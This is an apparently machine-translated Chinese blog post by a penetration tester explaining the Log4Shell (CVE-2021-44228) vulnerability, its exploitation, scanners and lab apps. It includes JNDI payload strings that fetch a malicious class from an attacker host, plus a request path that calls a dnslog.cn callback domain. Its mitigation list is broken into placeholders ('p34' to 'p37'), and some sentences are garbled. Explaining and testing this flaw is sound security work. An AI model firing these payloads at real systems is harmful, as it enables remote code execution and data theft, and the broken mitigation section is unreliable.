上周四,Log4J 日志库被披露一个漏洞,影响全球许多 Java 应用程序。
该漏洞名为 Log4Shell (CVE-2021-44228) 。它允许攻击者在易受攻击的应用程序解析和执行的请求中的任何位置注入精心设计的有效负载。
Twitter、Reddit 和 YouTube 上有很多关于这个重大漏洞的资源。我想写这篇文章来总结我学到的主要内容、作为渗透测试人员测试它的方法以及有助于防止利用此漏洞的缓解控制措施。
Log4Shell 漏洞概述
漏洞 Log4Shell 是一种 Java JNDI 注入。不过,这并不是一个新的漏洞——Alvaro Blackhat talk in 2016 about it by Alvaro Munoz & Oleksandr Mirosh .
库 1.x 不易受到代码执行攻击。日志以字符串格式封装,这是理所应当的,并且不会被解析。
2.0-2.15.0 版本中的 JNDI 查找 中引入的 ,该功能允许应用程序解析和解释任何输入,无论其来自何处。
这些包括 Web 应用程序、数据库、电子邮件服务器、路由器、端点代理、移动应用程序、物联网设备 — — 随便什么都可以(如果它运行 Java,则可能会受到攻击)。
(@mubix) 绘制的精美图表, 展示了此漏洞的影响。
当我开始环顾房间寻找所有可能存在漏洞的设备时,我感到很害怕。我通过手机应用程序测试了我的手机、健身手表和洗衣机(为什么不呢!!)。
我从他们所有人那里获得了 DNS 回调。
JNDI (Java 命名目录接口)是一种 API,允许 Java 应用程序根据对象名称对对象执行搜索。它支持多种目录服务,如 LDAP、RMI、DNS 和 CORBA .
我所见过的大多数有效载荷都使用 LDAP、DNS 和 RMI 协议来执行 DNS 请求。
对于 RCE 漏洞,攻击者需要设置 LDAP 服务器以允许易受攻击的应用程序连接到该服务器。因此,目标应用程序必须允许 LDAP 向外连接到攻击者控制的服务器才能加载恶意对象。
DNS 请求 不足以确认应用程序是否容易受到远程代码执行攻击。但它仍然具有影响力,因为这些请求可以泄露敏感数据,从而帮助危害目标。
Log4Shell 漏洞的影响
该漏洞主要影响如下:
- 通过 DNS 泄露数据
- 利用恶意 Java 对象和 Rogue LDAP 服务器进行远程代码执行
修补版本
Log4J 2.17 版本 已修补。 撰写本文时,已绕过 2.15.0 和 2.16.0
攻击者如何利用 Log4Shell
攻击者设置一个恶意 LDAP 服务器,创建一个漏洞利用负载类,并将其存储为 LDAP 对象(例如 “Log4JPayload.class”) 以供稍后引用。
然后,攻击者将精心设计的 JNDI 注入插入到任何可能被记录的请求中,例如请求路径、HTTP 标头、文件名、文档/图像 EXIF 等 (请参阅下面的注入点) .
有效负载示例
${jndi:ldap://attackermachine:portnumber/Log4JPayload.class}
${jndi:rmi://attackermachine:portnumber/Log4JPayload.class}
当恶意请求被记录时,Log4J 库将解析注入的输入并联系恶意 LDAP 服务器来加载恶意类。
然后,应用程序执行引用的类,攻击者就可以在有漏洞的应用程序上执行远程代码。
注射点
一个主要的注入点位于 请求路径 ,如下例所示: GET /${jndi:ldap://c6xppah2n.dnslog.cn/d} HTTP/1.1
另一个是在 HTTP 标头 。攻击者可以在任何 HTTP 标头中注入有效载荷。在进行应用程序测试时,所有这些都是有效的注入点。Musa Şana 编制了一份更详尽的清单。
必须记住的是,漏洞利用并不总是立即产生回调。有时需要几分钟甚至几小时才能得到结果。
当我测试手表时,我等了大约 25 分钟才收到第一个回调。因此,对于黑盒测试,请给应用程序足够的时间,然后再决定它是否存在漏洞。请耐心等待 ⏰!
Log4Shell 有效负载
过去几天,Twitter 上发布了许多值得一看的有效载荷。一些有效载荷使用混淆来绕过流行的 WAF,如 Akamai、Cloudflare 和 AWS WAF。
以下是从 Twitter 收集的有效载荷的屏幕截图。
Carbon 上的一些有趣的 .
数据泄露示例
假设某个应用程序不易受到远程代码执行攻击或阻止传出的 LDAP 连接。在这种情况下,攻击者或渗透测试人员仍然可以利用此漏洞提取敏感信息,例如应用程序本身和托管基础架构的密钥、令牌和配置文件。
然后,攻击者可以利用这些信息选择适当的攻击媒介来破坏目标应用程序。
自动检查
自动扫描有助于在黑盒渗透测试期间对许多主机进行粗略检查。以下是可以帮助您实现此目的的主要已知扫描工具列表:
- Burp 扩展: Log4Shell 扫描仪
- mazen160 的 Log4J 扫描仪
- Log4J 的 Nuclei 模板 — ID: CVE-2021–44228
- Nmap NSE 脚本 - nse-log4shell
DNS 日志监控服务
为了快速测试应用程序,我们使用以下服务为我们的有效负载创建一个 DNS 令牌,并查看是否获得回调。
- 金丝雀代币
- DNS日志网
- 互动
- Burp 合作者
需要测试的易受攻击的应用程序:
GitHub、PentesterLabs 和 TryHackMe 上有许多出色的、随时可用的易受攻击的应用程序可用于测试此漏洞。
我最喜欢的是 Log4Shell 应用程序(它需要一些设置,并且可以向您展示如何设置恶意 LDAP 服务器并连接到它)。但是,如果您想快速测试它,TryHackMe Solar room 是最佳选择。
- Log4jPwn — https://github.com/leonjza/log4jpwn
- Log4Shell — https://github.com/kozmer/log4j-shell-poc
- PentestLabs 挑战 : Log4J RCE , Log4J RCE II
- TryHackMe 太阳能房 — https://tryhackme.com/room/solar [免费房间]
Log4Shell 缓解措施
为了保护自己免受此漏洞的侵害,您可以采取以下步骤:
-
p34
-
p35
-
p36
-
p37
今天就到这里。这真是糟糕的一周。我学到了很多有关 Java 注入和利用的新知识。
谢谢阅读!!
了解有关 Log4JShell 的更多信息
- Apache Log4j 漏洞 CVE-2021-44228 引发广泛关注
- 您需要了解有关 log4j (Log4Shell) 漏洞的哪些信息?作者:SANS Institute
- 深入研究 Log4Shell - 在 Log4j 中发现 0Day RCE 漏洞
- Apache log4j 漏洞 CVE-2021-44228:分析与缓解措施
- log4shell - 快速指南
- Log4Shell 零日漏洞利用演练
- CVE-2021-44228 - Log4j - MINECRAFT 易受攻击!(还有更多)
- 从 JNDI/LDAP 操纵到远程代码执行梦境之旅
- Log4Shell:通过可攻击的 Log4J 进行 JNDI 注入
发表评论 取消回复